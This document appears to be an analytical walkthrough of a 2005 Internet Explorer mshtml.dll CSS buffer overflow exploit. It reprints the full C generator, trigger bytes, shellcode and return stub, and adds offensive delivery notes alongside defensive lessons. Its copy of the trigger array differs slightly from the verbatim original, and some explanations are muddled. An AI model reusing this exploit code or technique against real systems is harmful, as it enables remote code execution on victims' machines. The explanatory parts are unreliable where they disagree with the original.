Understanding the Internet Explorer 'mshtml.dll' CSS Parsing Buffer Overflow Exploit

Understanding the Internet Explorer 'mshtml.dll' CSS Parsing Buffer Overflow Exploit
What this paper is
This paper details an exploit for a buffer overflow vulnerability in Microsoft Internet Explorer's CSS (Cascading Style Sheets) parsing engine, specifically within the mshtml.dll library. The exploit works by creating a malicious .css file. When this CSS file is included in an HTML page and loaded by an affected version of Internet Explorer, the parsing process triggers the buffer overflow, allowing for arbitrary code execution.
Simple technical breakdown
The core of the exploit relies on a flaw in how Internet Explorer handles certain CSS properties or structures. When the browser tries to parse a specially crafted CSS rule, it attempts to copy data into a fixed-size buffer without properly checking the size of the input. This leads to data being written beyond the buffer's boundaries, overwriting adjacent memory.
The exploit code constructs a string that, when parsed by IE, causes this overflow. It then places shellcode (small pieces of executable code) and a "return address" within the overwritten memory. The return address is crucial: it's modified to point to the shellcode, so when the vulnerable function finishes, instead of returning to its normal execution path, it jumps to and executes the attacker's shellcode.
Complete code and payload walkthrough
The provided C code generates a .css file that, when parsed by Internet Explorer, triggers the vulnerability. Let's break down the key components:
bug[] array
char bug[]=
"\x40\x63\x73\x73\x20\x6D\x6D\x7B\x49\x7B\x63\x6F\x6E\x74\x65\x6E\x74\x3A\x20\x22\x22\x3B\x2F"
"\x2A\x22\x20\x22\x2A\x2F\x7D\x7D\x40\x6D\x3B\x40\x65\x6E\x64\x3B\x20\x2A\x22\x7D\x7D\x20\x20\x20";This byte array represents the malicious CSS content. While the exact CSS syntax and its interaction with mshtml.dll are complex and not fully detailed in the paper, this sequence of bytes is designed to trigger the buffer overflow during parsing. The bytes likely represent a malformed CSS rule or a sequence of properties that, when processed, lead to an oversized data copy into a vulnerable buffer.
Mapping:
bug[]-> Malicious CSS content designed to trigger the buffer overflow.
shellcode[] array
char shellcode[]= "\x33\xDB\x53\x53\x04\x0F\x50\x53\xE9\xCB\x8D\x6D\x74"
"\x90\x90\x48\x61\x63\x6B\x20\x69\x65\x36\x20\x63\x73\x73";This byte array contains the actual executable code that the attacker wants to run on the victim's machine. The comments in the original paper provide a high-level description:
/*
shellcode :MessageBox (0,"hack ie6",0,MB_OK);
-
XOR EBX,EBX
PUSH EBX ; 0
PUSH EBX ; 0
ADD AL,0F
PUSH EAX ; Msg " Hack ie6 "
PUSH EBX ;0
JMP 746D8E72 ;USER32.MessageBoxA
*/Let's break down the assembly instructions represented by the bytes:
\x33\xDB:XOR EBX, EBX- Sets theEBXregister to zero.\x53:PUSH EBX- Pushes the value ofEBX(which is 0) onto the stack. This is likely the first argument forMessageBoxA(thehWndparameter, which isNULLor 0).\x53:PUSH EBX- PushesEBX(0) onto the stack again. This is likely the second argument (thelpCaptionparameter, which is alsoNULLor 0 in this specific sequence, though the comment suggests a message).\x04\x0F:ADD AL, 0Fh- Adds0Fh(15) to theALregister.ALis the lower 8 bits ofEAX. This instruction seems out of place for directly constructing the "Hack ie6" string. It's possible this is part of a larger, more complex string construction or a misunderstanding in the comment.\x50:PUSH EAX- Pushes the current value ofEAXonto the stack. If theADD AL, 0Fhwas intended to modify a string pointer or length, this would push that value. However, the comment says "Msg ' Hack ie6 '". The bytes\x48\x61\x63\x6B\x20\x69\x65\x36\x20\x63\x73\x73after the\x90\x90NOPs are the actual ASCII representation of "Hack ie6 css". This suggests the\x04\x0Fand\x50might be part of a more intricate string setup or a slight inaccuracy in the comment's direct mapping.\x53:PUSH EBX- PushesEBX(0) onto the stack. This is likely the fourth argument forMessageBoxA(theuTypeparameter, which isMB_OKor 0).\xE9\xCB\x8D\x6D\x74:JMP 0x746D8E72- This is a relative jump instruction. The target address0x746D8E72is the address ofMessageBoxAinUSER32.dll. The bytes\xCB\x8D\x6D\x74are the relative offset calculated from the instruction after theJMPto the target address. This is a common technique to call a function without needing its absolute address, which can vary between systems.
The bytes \x90\x90\x48\x61\x63\x6B\x20\x69\x65\x36\x20\x63\x73\x73 are:
\x90\x90: Two NOP (No Operation) instructions. These are often used as padding or to ensure the shellcode aligns correctly.\x48\x61\x63\x6B\x20\x69\x65\x36\x20\x63\x73\x73: ASCII for "Hack ie6 css". This is the message string that will be displayed byMessageBoxA.
Mapping:
\x33\xDB->XOR EBX, EBX(Initialize EBX to 0)\x53->PUSH EBX(Push 0 for hWnd argument)\x53->PUSH EBX(Push 0 for lpCaption argument - comment differs slightly)\x04\x0F->ADD AL, 0Fh(Potentially part of string manipulation or padding)\x50->PUSH EAX(Push EAX, likely related to string or padding)\x53->PUSH EBX(Push 0 for uType argument, MB_OK)\xE9\xCB\x8D\x6D\x74->JMP 0x746D8E72(Jump to MessageBoxA in USER32.dll)\x90\x90-> NOP instructions (Padding)\x48\x61\x63\x6B\x20\x69\x65\x36\x20\x63\x73\x73-> ASCII string "Hack ie6 css" (Message for MessageBox)
ret[] array
char ret[]= "\x8B\xC4\x66\x05\xAC\x01\xFF\xD0";This byte array contains instructions that are intended to calculate the address of the shellcode and then jump to it. The comment explains its purpose:
// return address :: esp+1AC :: start shellcode
//MOV EAX,ESP
//ADD AX,1AC
//CALL EAXLet's break down the assembly instructions:
\x8B\xC4:MOV EAX, ESP- Moves the current value of the Stack Pointer (ESP) into theEAXregister. At this point,EAXholds the address of the top of the stack.\x66\x05\xAC\x01:ADD AX, 01ACh- This is a 16-bit addition. It adds the hexadecimal value01AC(which is 428 in decimal) to the lower 16 bits of theEAXregister (AX). The intention is thatESP(after the overflow and shellcode placement) will be at a known offset from the start of the shellcode. Adding01AChtoESPwill then pointEAXto the beginning of the shellcode.\xFF\xD0:CALL EAX- Calls the address stored in theEAXregister. SinceEAXhas been set to point to the shellcode, this effectively jumps to and executes the shellcode.
Mapping:
\x8B\xC4->MOV EAX, ESP(Get current stack pointer)\x66\x05\xAC\x01->ADD AX, 01ACh(Add offset to ESP to find shellcode address)\xFF\xD0->CALL EAX(Jump to and execute shellcode)
main function
int main(int argc, char* argv[])
{
char buf[8192];
FILE *cssfile;
int i;
printf("\n\n Internet Explorer(mshtml.dll) , Cascading Style Sheets Exploit \n");
printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
printf(" Coded by : Arabteam2000 \n");
printf(" Web: www.arabteam2000.com \n");
printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n");
// NOP`s
for(i=0;i<8192;i++)
buf[i]=0x90;
// bug
memcpy((void*)&buf[0],
(void*)&bug,48);
// shellcode
memcpy((void*)&buf[100],
(void*)&shellcode,27);
// ret address
memcpy((void*)&buf[8182],
(void*)&ret,8);
cssfile=fopen("file.css","w+b");
if(cssfile==NULL){
printf("-Error: fopen \n");
return 1;
}
fwrite(buf,8192,1,cssfile);
printf("-Created file: file.css\n ..OK\n\n");
fclose (cssfile);
return 0;
}Buffer Initialization:
char buf[8192];: Declares a buffer of 8192 bytes. This buffer will hold the entire content of the generated.cssfile.for(i=0;i<8192;i++) buf[i]=0x90;: Fills the entirebufwith NOP instructions (0x90). This is a common technique to create a "NOP sled." If the exact return address is slightly off, the execution might land anywhere in the NOP sled and slide down to the actual shellcode.
Copying Exploit Components:
memcpy((void*)&buf[0], (void*)&bug, 48);: Copies thebug(malicious CSS content) to the beginning of thebuf. The size is 48 bytes.memcpy((void*)&buf[100], (void*)&shellcode, 27);: Copies theshellcodeto an offset of 100 bytes from the beginning ofbuf. The size is 27 bytes. This offset is chosen to be after the initial overflow data and before the return address.memcpy((void*)&buf[8182], (void*)&ret, 8);: Copies theret(return address manipulation code) to an offset of 8182 bytes from the beginning ofbuf. This is very close to the end of the 8192-byte buffer. The size is 8 bytes.
File Creation:
cssfile=fopen("file.css","w+b");: Opens a file namedfile.cssin write-binary mode.if(cssfile==NULL){ ... }: Error handling for file opening.fwrite(buf,8192,1,cssfile);: Writes the entire 8192-bytebufcontent intofile.css.fclose (cssfile);: Closes the file.
Mapping:
char buf[8192];-> Buffer to construct the CSS file content.for(i=0;i<8192;i++) buf[i]=0x90;-> Initialize buffer with NOPs for a NOP sled.memcpy((void*)&buf[0], (void*)&bug, 48);-> Place malicious CSS at the start of the buffer.memcpy((void*)&buf[100], (void*)&shellcode, 27);-> Place shellcode after initial overflow data.memcpy((void*)&buf[8182], (void*)&ret, 8);-> Place return address overwrite code near the end of the buffer.fopen("file.css","w+b");-> Create the output CSS file.fwrite(buf,8192,1,cssfile);-> Write the crafted buffer to the file.fclose (cssfile);-> Close the file.
Practical details for offensive operations teams
- Required Access Level: This exploit targets a client-side vulnerability in Internet Explorer. Therefore, the attacker needs a way to deliver the malicious HTML/CSS to the target user. This could be via email, a compromised website, or social engineering. No elevated privileges are required on the target system itself, beyond the ability to execute code through the browser.
- Lab Preconditions:
- Target Environment: A lab environment with vulnerable versions of Internet Explorer (likely IE6 or earlier, given the 2005 publication date) is essential.
- Web Server: A simple local web server (e.g., Python's
SimpleHTTPServer, Apache, Nginx) to host the HTML and CSS files. - Exploit Generation: A C compiler (like MinGW or Visual Studio) to compile the provided C code to generate
file.css.
- Tooling Assumptions:
- C Compiler: For generating the
.cssfile. - Web Server: To serve the exploit.
- Text Editor/Hex Editor: For examining and potentially modifying the generated
file.cssor the HTML that includes it. - Vulnerable Browser: The primary tool for testing and demonstration.
- C Compiler: For generating the
- Execution Pitfalls:
- Browser Version Specificity: This exploit is highly dependent on the specific version of Internet Explorer and its
mshtml.dll. Newer versions would have patched this vulnerability. - ASLR/DEP: Modern operating systems employ Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP). These defenses would make it significantly harder for this exploit to succeed by making the shellcode address unpredictable and preventing execution from data segments. The
ret[]code relies on a predictable stack layout and the ability to execute code from the stack or heap. - CSS Parsing Variations: The exact CSS properties and structure that trigger the overflow might be sensitive to minor variations or browser rendering engine updates.
- Shellcode Location: The offsets for placing the shellcode and return address (
buf[100],buf[8182]) are critical. If the overflow doesn't precisely overwrite the expected memory location, theret[]code will fail to jump to the shellcode. Theesp+1ACcalculation is a specific assumption about the stack frame layout. - Network Delivery: If delivered over a network, firewalls or proxies might interfere with the delivery of the HTML/CSS files.
- Browser Version Specificity: This exploit is highly dependent on the specific version of Internet Explorer and its
- Telemetry Considerations:
- Network Traffic: The primary telemetry would be the HTTP requests for the HTML and CSS files.
- Browser Crashes: A failed exploit attempt might result in Internet Explorer crashing. This would generate system-level crash logs.
- Process Creation: If the shellcode successfully executes and, for example, launches
calc.exeornotepad.exe, this would be visible in process monitoring tools. The specificMessageBoxAcall would also be a distinct event. - Registry/File System Changes: Depending on the actual payload (which is a simple
MessageBoxhere), any persistent payload would leave traces.
Where this was used and when
- Publication Date: March 9, 2005.
- Context: This exploit was published during a period when Internet Explorer, particularly IE6, was the dominant web browser. Vulnerabilities in its rendering engine were frequently discovered and exploited. Such exploits were commonly used in drive-by download attacks, phishing campaigns, and targeted attacks to compromise user machines.
- Usage: Exploits like this were typically packaged within an HTML file. When a user visited a malicious or compromised webpage containing this HTML, Internet Explorer would load the associated CSS file, triggering the overflow and executing the embedded shellcode. The shellcode, in this case, simply displays a message box, but in real-world scenarios, it would likely download and execute more sophisticated malware.
Defensive lessons for modern teams
- Browser Patching: The most fundamental defense is keeping browsers and operating systems up-to-date. This vulnerability is long-patched in modern browsers.
- Web Application Firewalls (WAFs): WAFs can be configured to detect and block malicious patterns in HTTP traffic, including malformed CSS or HTML that might indicate an exploit attempt.
- Endpoint Detection and Response (EDR): EDR solutions can monitor for suspicious process creation (e.g., unexpected processes launched by
iexplore.exe), unusual network connections, and file system activity that might indicate a compromise. - Browser Security Settings: While less effective against zero-days, disabling JavaScript, ActiveX, or configuring strict security zones can mitigate some older exploit vectors. However, this specific exploit targets CSS parsing, not JavaScript.
- Sandboxing: Modern browsers employ sandboxing techniques, isolating the rendering engine and its processes from the rest of the operating system, making it harder for exploits to escape the browser's context.
- Memory Protection: Modern OS features like ASLR and DEP are critical defenses against buffer overflow exploits that rely on predictable memory layouts and code execution from data segments.
ASCII visual (if applicable)
This exploit's flow can be visualized as follows:
+-----------------+ +-----------------+ +-----------------+
| Victim's Browser| --> | Malicious HTML | --> | Malicious CSS |
| (IE < 6) | | (Loads CSS) | | (mshtml.dll) |
+-----------------+ +-----------------+ +-------+---------+
|
| (Triggers Overflow)
v
+-----+-----------------+
| mshtml.dll Parsing |
| (Buffer Overflow) |
+-----+-----------------+
|
| (Overwrites Return Address)
v
+-----+-----------------+
| Stack Memory |
| [Overflow Data] |
| [Shellcode] |
| [Return Address -> Shellcode] |
+-----------------+
|
| (Function Returns)
v
+-----+-----------------+
| Shellcode Execution |
| (MessageBoxA) |
+-----------------+Source references
- Paper ID: 868
- Paper Title: Microsoft Internet Explorer - 'mshtml.dll' CSS Parsing Buffer Overflow
- Author: Arabteam2000
- Published: 2005-03-09
- Keywords: Windows, remote
- Paper URL: https://www.exploit-db.com/papers/868
- Raw URL: https://www.exploit-db.com/raw/868
- Original Source Mentioned: http://www.securiteam.com/exploits/5NP042KF5A.html
Original Exploit-DB Content (Verbatim)
/*
Taken from http://www.securiteam.com/exploits/5NP042KF5A.html
The exploit will create a .CSS file that should be included
in an HTML file. When a user loads the HTML file, Internet
Explorer will try to parse the CSS and will trigger the
buffer overflow.
*/
//Exploit Code:
#include <stdio.h>
#include <string.h>
#include <tchar.h>
char bug[]=
"\x40\x63\x73\x73\x20\x6D\x6D\x7B\x49\x7B\x63\x6F\x6E\x74\x65\x6E\x74\x3A\x20\x22\x22\x3B\x2F"
"\x2A\x22\x20\x22\x2A\x2F\x7D\x7D\x40\x6D\x3B\x40\x65\x6E\x64\x3B\x20\x2F\x2A\x22\x7D\x7D\x20\x20\x20";
//////////////////////////////////////////////////////
/*
shellcode :MessageBox (0,"hack ie6",0,MB_OK);
-
XOR EBX,EBX
PUSH EBX ; 0
PUSH EBX ; 0
ADD AL,0F
PUSH EAX ; Msg " Hack ie6 "
PUSH EBX ;0
JMP 746D8E72 ;USER32.MessageBoxA
*/
char shellcode[]= "\x33\xDB\x53\x53\x04\x0F\x50\x53\xE9\xCB\x8D\x6D\x74"
"\x90\x90\x48\x61\x63\x6B\x20\x69\x65\x36\x20\x63\x73\x73";
////////////////////////////////////////////////////////
// return address :: esp+1AC :: start shellcode
//MOV EAX,ESP
//ADD AX,1AC
//CALL EAX
char ret[]= "\x8B\xC4\x66\x05\xAC\x01\xFF\xD0";
int main(int argc, char* argv[])
{
char buf[8192];
FILE *cssfile;
int i;
printf("\n\n Internet Explorer(mshtml.dll) , Cascading Style Sheets Exploit \n");
printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
printf(" Coded by : Arabteam2000 \n");
printf(" Web: www.arabteam2000.com \n");
printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n");
// NOP`s
for(i=0;i<8192;i++)
buf[i]=0x90;
// bug
memcpy((void*)&buf[0],
(void*)&bug,48);
// shellcode
memcpy((void*)&buf[100],
(void*)&shellcode,27);
// ret address
memcpy((void*)&buf[8182],
(void*)&ret,8);
cssfile=fopen("file.css","w+b");
if(cssfile==NULL){
printf("-Error: fopen \n");
return 1;
}
fwrite(buf,8192,1,cssfile);
printf("-Created file: file.css\n ..OK\n\n");
fclose (cssfile);
return 0;
}
// milw0rm.com [2005-03-09]